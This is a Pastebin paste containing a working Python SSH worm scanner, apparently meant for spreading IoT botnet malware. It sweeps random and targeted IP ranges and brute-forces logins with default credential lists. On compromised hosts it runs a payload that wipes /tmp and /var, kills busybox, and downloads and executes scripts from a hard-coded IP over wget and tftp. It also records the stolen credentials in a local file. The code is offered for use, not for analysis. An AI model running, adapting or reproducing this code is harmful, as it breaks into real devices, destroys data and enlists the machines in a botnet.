Advertisement
Guest User

tt

a guest
Dec 27th, 2016
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.61 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #MUST INSTALL PARAMIKO
  4. #yum install python-paramiko -y
  5.  
  6. import threading, paramiko, random, socket, time, sys, os
  7. os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")
  8. paramiko.util.log_to_file("/dev/null")
  9. os.system("sysctl -w fs.file-max=999999 >/dev/null")
  10.  
  11. cmd='rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;pkill -9 busybox;cd /tmp || cd /var/run;wget http://208.89.211.200/bins.sh;sh bins.sh;rm -rf bins.sh;tftp -r bint1.sh -g 208.89.211.200;sh bint1.sh; tftp 208.89.211.200 -c get bint2.sh; sh bint2.sh; rm -rf bint1.sh bint2.sh bins.sh\r\n' #PAYLOAD
  12. blacklist = [
  13. '127'
  14. ]
  15.  
  16. """
  17. ▄█ ▄███████▄ ▄████████ ▄████████ ▄██████▄ ███▄▄▄▄ ▄████████ ▄████████
  18. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███▀▀▀██▄ ███ ███ ███ ███
  19. ███▌ ███ ███ ███ ███ ███ ███ ███ █▀ ███ ███ ███ █▀ ███ █▀
  20. ███▌ ███ ███ ▄███▄▄▄▄██▀ ███ ███ ▄███ ███ ███ ▄███▄▄▄ ███
  21. ███▌ ▀█████████▀ ▀▀███▀▀▀▀▀ ▀███████████ ▀▀███ ████▄ ███ ███ ▀▀███▀▀▀ ▀███████████
  22. ███ ███ ▀███████████ ███ ███ ███ ███ ███ ███ ███ █▄ ███
  23. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄█ ███
  24. █▀ ▄████▀ ███ ███ ███ █▀ ████████▀ ▀█ █▀ ██████████ ▄████████▀
  25. ███ ███
  26. """
  27. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  28. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  29. lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  30. lucky2 = ["119.91","119.92","119.93","113.53"]
  31. lol = ["1","2","5","119","180","113","125","122","46","101",""]
  32. load = ["125.25","125.26","125.27","119.92","119.93","180.180","113.53","185.52","122.52","122.53"]
  33. god = ["122.52","122.53","119.92","119.93"]
  34.  
  35. """
  36. ▄███████▄ ▄████████ ▄████████ ▄████████ ▄████████ ▄██████▄ ▄▄▄▄███▄▄▄▄ ▀█████████▄ ▄██████▄ ▄████████
  37. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███
  38. ███ ███ ███ ███ ███ █▀ ███ █▀ ███ █▀ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ █▀
  39. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄██▀ ███ ███ ███
  40. ▀█████████▀ ▀███████████ ▀███████████ ▀███████████ ███ ███ ███ ███ ███ ███ ▀▀███▀▀▀██▄ ███ ███ ▀███████████
  41. ███ ███ ███ ███ ███ ███ █▄ ███ ███ ███ ███ ███ ███ ██▄ ███ ███ ███
  42. ███ ███ ███ ▄█ ███ ▄█ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄█ ███
  43. ▄████▀ ███ █▀ ▄████████▀ ▄████████▀ ████████▀ ▀██████▀ ▀█ ███ █▀ ▄█████████▀ ▀██████▀ ▄████████▀
  44. """
  45.  
  46. if sys.argv[4] == '1':
  47. passwords = ["root:root", "root:admin", "admin:1234"]
  48. if sys.argv[4] == '2':
  49. passwords = ["root:root", "root:toor", "root:admin", "admin:1234", "oracle:oracle", "root:alpine"]
  50. if sys.argv[4] == 'routers':
  51. passwords = ["root:admin", "root:root", "admin:1234", "admin:password", "cisco:cisco", "netgear:netgear", "cusadmin:password"]
  52. if sys.argv[4] == 'perl':
  53. passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  54. if sys.argv[4] == 'ubuntu':
  55. passwords = [ "ubnt:ubnt", "ubnt:1234", "ubnt:password" ]
  56. if sys.argv[4] == 'root':
  57. passwords = [ "root:root","root:test" ]
  58. if sys.argv[4] == 'vps1':
  59. passwords = [ "root:maxided", "root:centos6svm", "root:123456", "root:Love2020", "root:Zero", "root:Password", "root:password"]
  60. if sys.argv[4] == 'vps2':
  61. passwords = [ "root:maxided", "root:centos6svm", "root:1234", "root:qwerty", "root:dragon", "root:pussy", "root:baseball"]
  62. if sys.argv[4] == 'vps3':
  63. passwords = [ "root:maxided", "root:centos6svm", "root:football", "root:monkey", "root:696969", "root:abc123"]
  64. if sys.argv[4] == 'r00ted':
  65. passwords = [ "localhost:root", "B1NARY:B1NARY", "root:r00tnull3d#", "root:Flunzy2016", "bash:root"]
  66. if sys.argv[4] == 'brute':
  67. passwords = [ "root:centos6svm", "root:root", "root:toor", "root:abc123", "root:maxided"]
  68. if sys.argv[4] == 'lol':
  69. passwords = [ "admin:1234"]
  70.  
  71. """
  72. ▄█ ▄███████▄ ▄████████ ▄█ ▄████████ ▄████████ ▄████████ ▄████████ ▄████████
  73. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
  74. ███▌ ███ ███ ███ █▀ ███ ███ ███ ███ █▀ ███ █▀ ███ █▀ ███ █▀
  75. ███▌ ███ ███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄ ███
  76. ███▌ ▀█████████▀ ███ ███ ▀███████████ ▀███████████ ▀███████████ ▀▀███▀▀▀ ▀███████████
  77. ███ ███ ███ █▄ ███ ███ ███ ███ ███ ███ █▄ ███
  78. ███ ███ ███ ███ ███▌ ▄ ███ ███ ▄█ ███ ▄█ ███ ███ ███ ▄█ ███
  79. █▀ ▄████▀ ████████▀ █████▄▄██ ███ █▀ ▄████████▀ ▄████████▀ ██████████ ▄████████▀
  80. """
  81. ipclassinfo = sys.argv[2]
  82. if ipclassinfo == "A":
  83. ip1 = sys.argv[3]
  84. elif ipclassinfo == "B":
  85. ip1 = sys.argv[3].split(".")[0]
  86. ip2 = sys.argv[3].split(".")[1]
  87. elif ipclassinfo == "C":
  88. ips = sys.argv[3].split(".")
  89. num=0
  90. for ip in ips:
  91. num=num+1
  92. if num == 1:
  93. ip1 = ip
  94. elif num == 2:
  95. ip2 = ip
  96. elif num == 3:
  97. ip3 = ip
  98. """
  99. ▄████████ ▄████████ ▄█ █▄ ▄████████ ▄████████ ▄████████ ███▄▄▄▄ ███▄▄▄▄ ▄████████ ▄████████
  100. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███▀▀▀██▄ ███▀▀▀██▄ ███ ███ ███ ███
  101. ███ █▀ ███ █▀ ███ ███ ███ █▀ ███ █▀ ███ ███ ███ ███ ███ ███ ███ █▀ ███ ███
  102. ███ ███ ▄███▄▄▄▄███▄▄ ███ ███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄ ▄███▄▄▄▄██▀
  103. ▀███████████ ▀███████████ ▀▀███▀▀▀▀███▀ ▀███████████ ███ ▀███████████ ███ ███ ███ ███ ▀▀███▀▀▀ ▀▀███▀▀▀▀▀
  104. ███ ███ ███ ███ ███ ███ █▄ ███ ███ ███ ███ ███ ███ ███ █▄ ▀███████████
  105. ▄█ ███ ▄█ ███ ███ ███ ▄█ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
  106. ▄████████▀ ▄████████▀ ███ █▀ ▄████████▀ ████████▀ ███ █▀ ▀█ █▀ ▀█ █▀ ██████████ ███ ███
  107. ███ ███
  108. """
  109. class sshscanner(threading.Thread):
  110. global passwords
  111. global ipclassinfo
  112. if ipclassinfo == "A":
  113. global ip1
  114. elif ipclassinfo == "B":
  115. global ip1
  116. global ip2
  117. elif ipclassinfo == "C":
  118. global ip1
  119. global ip2
  120. global ip3
  121. def run(self):
  122. while 1:
  123. try:
  124. while 1:
  125. thisipisbad='no'
  126. if ipclassinfo == "A":
  127. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  128. elif ipclassinfo == "B":
  129. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  130. elif ipclassinfo == "C":
  131. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  132. elif ipclassinfo == "BRAZIL":
  133. self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  134. elif ipclassinfo == "SUPER":
  135. self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  136. elif ipclassinfo == "LUCKY":
  137. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  138. elif ipclassinfo == "LUCKY2":
  139. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  140. elif ipclassinfo == "RAND":
  141. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  142. elif ipclassinfo == "INTERNET":
  143. self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  144. elif ipclassinfo == "LOAD":
  145. self.host = random.choice(load)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  146. elif ipclassinfo == "GOD":
  147. self.host = random.choice(god)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  148. else:
  149. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  150. for badip in blacklist:
  151. if badip in self.host:
  152. thisipisbad='yes'
  153. if thisipisbad=='no':
  154. break
  155. username='root'
  156. password=""
  157. port = 22
  158. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  159. s.settimeout(3)
  160. s.connect((self.host, port))
  161. s.close()
  162. ssh = paramiko.SSHClient()
  163. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  164. dobreak=False
  165. for passwd in passwords:
  166. if ":n/a" in passwd:
  167. password=""
  168. else:
  169. password=passwd.split(":")[1]
  170. if "n/a:" in passwd:
  171. username=""
  172. else:
  173. username=passwd.split(":")[0]
  174. try:
  175. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  176. dobreak=True
  177. break
  178. except:
  179. pass
  180. if True == dobreak:
  181. break
  182. badserver=True
  183. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  184. output = stdout.read()
  185. if "inet addr" in output:
  186. badserver=False
  187. if badserver == False:
  188. print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
  189. ssh.exec_command(""+cmd+"")
  190. time.sleep(20)
  191. ssh.close()
  192. open("infected.txt","a").write(username+":"+password+":"+self.host+"\n")
  193. except:
  194. pass
  195.  
  196. for x in range(0,int(sys.argv[1])):
  197. try:
  198. t = sshscanner()
  199. t.start()
  200. except:
  201. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement